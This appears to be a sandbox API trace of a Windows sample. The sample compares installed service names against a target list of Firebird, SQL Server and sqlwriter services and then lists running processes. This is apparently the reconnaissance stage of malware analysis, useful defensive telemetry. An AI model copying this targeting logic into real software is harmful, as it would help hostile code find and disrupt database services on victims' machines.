	[0163.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0163.417] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0163.417] lstrlenW (lpString="DcomLaunch") returned 10
	[0163.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0163.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0163.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0163.417] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0163.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0163.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0163.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0163.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0163.417] lstrlenW (lpString="Dhcp") returned 4
	[0163.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0163.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0163.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0163.418] lstrlenW (lpString="Dnscache") returned 8
	[0163.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0163.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0163.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0163.418] lstrlenW (lpString="DPS") returned 3
	[0163.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0163.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0163.418] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0163.418] lstrlenW (lpString="DusmSvc") returned 7
	[0163.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0163.418] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0163.418] lstrlenW (lpString="EventLog") returned 8
	[0163.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0163.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0163.418] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0163.418] lstrlenW (lpString="EventSystem") returned 11
	[0163.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0163.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0163.418] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0163.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0163.418] lstrlenW (lpString="FontCache") returned 9
	[0163.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0163.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0163.419] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0163.419] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0163.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0163.419] lstrlenW (lpString="gpsvc") returned 5
	[0163.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0163.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0163.419] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0163.419] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0163.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0163.419] lstrlenW (lpString="iphlpsvc") returned 8
	[0163.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.419] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0163.419] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0163.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0163.419] lstrlenW (lpString="KeyIso") returned 6
	[0163.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0163.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0163.419] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0163.419] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0163.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0163.419] lstrlenW (lpString="LanmanServer") returned 12
	[0163.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0163.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0163.419] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0163.419] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0163.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0163.419] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0163.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0163.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0163.419] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0163.419] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0163.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0163.419] lstrlenW (lpString="lfsvc") returned 5
	[0163.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0163.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0163.420] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0163.420] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0163.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0163.420] lstrlenW (lpString="lmhosts") returned 7
	[0163.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0163.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0163.420] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0163.420] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0163.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0163.420] lstrlenW (lpString="LSM") returned 3
	[0163.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0163.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0163.420] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0163.420] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0163.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0163.420] lstrlenW (lpString="MpsSvc") returned 6
	[0163.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0163.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0163.420] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0163.420] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0163.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0163.420] lstrlenW (lpString="NcbService") returned 10
	[0163.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0163.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0163.420] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0163.420] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0163.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0163.420] lstrlenW (lpString="netprofm") returned 8
	[0163.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0163.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0163.420] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0163.420] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0163.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0163.420] lstrlenW (lpString="NgcSvc") returned 6
	[0163.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0163.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0163.421] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0163.421] lstrlenW (lpString="NlaSvc") returned 6
	[0163.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0163.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0163.421] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0163.421] lstrlenW (lpString="nsi") returned 3
	[0163.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0163.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0163.421] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0163.421] lstrlenW (lpString="PcaSvc") returned 6
	[0163.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0163.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0163.421] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0163.421] lstrlenW (lpString="PlugPlay") returned 8
	[0163.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0163.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0163.421] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0163.421] lstrlenW (lpString="Power") returned 5
	[0163.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0163.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0163.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0163.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0163.421] lstrlenW (lpString="ProfSvc") returned 7
	[0163.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0163.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0163.422] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0163.422] lstrlenW (lpString="RpcEptMapper") returned 12
	[0163.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0163.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0163.422] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0163.422] lstrlenW (lpString="RpcSs") returned 5
	[0163.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0163.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0163.422] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0163.422] lstrlenW (lpString="SamSs") returned 5
	[0163.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0163.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0163.422] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0163.422] lstrlenW (lpString="Schedule") returned 8
	[0163.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0163.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0163.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0163.422] lstrlenW (lpString="SecurityHealthService") returned 21
	[0163.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0163.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0163.422] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0163.422] lstrlenW (lpString="SENS") returned 4
	[0163.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0163.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0163.422] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0163.423] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0163.423] lstrlenW (lpString="ShellHWDetection") returned 16
	[0163.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0163.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0163.423] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0163.423] lstrlenW (lpString="Spooler") returned 7
	[0163.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0163.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0163.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0163.423] lstrlenW (lpString="StateRepository") returned 15
	[0163.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0163.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0163.423] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0163.423] lstrlenW (lpString="SysMain") returned 7
	[0163.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0163.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0163.423] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0163.423] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0163.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0163.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0163.423] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0163.423] lstrlenW (lpString="Themes") returned 6
	[0163.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0163.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0163.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0163.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0163.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0163.424] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0163.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0163.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0163.424] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0163.424] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0163.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0163.424] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0163.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0163.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0163.424] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0163.424] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0163.424] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40a6640 | out: hHeap=0x710000) returned 1
	[0163.424] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x43c
	[0163.802] Process32FirstW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0163.803] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0163.803] lstrlenW (lpString="System") returned 6
	[0163.803] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0163.804] lstrlenW (lpString="smss.exe") returned 8
	[0163.804] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0163.804] lstrlenW (lpString="csrss.exe") returned 9
	[0163.804] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0163.804] lstrlenW (lpString="wininit.exe") returned 11
	[0163.804] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0163.805] lstrlenW (lpString="csrss.exe") returned 9
	[0163.805] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0163.805] lstrlenW (lpString="winlogon.exe") returned 12
	[0163.805] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0163.806] lstrlenW (lpString="services.exe") returned 12
	[0163.806] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0163.806] lstrlenW (lpString="lsass.exe") returned 9
	[0163.806] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0163.807] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0163.807] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0163.807] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0163.807] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.807] lstrlenW (lpString="svchost.exe") returned 11
	[0163.807] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.808] lstrlenW (lpString="svchost.exe") returned 11
	[0163.808] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0163.808] lstrlenW (lpString="dwm.exe") returned 7
	[0163.808] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.809] lstrlenW (lpString="svchost.exe") returned 11
	[0163.809] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.809] lstrlenW (lpString="svchost.exe") returned 11
	[0163.809] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
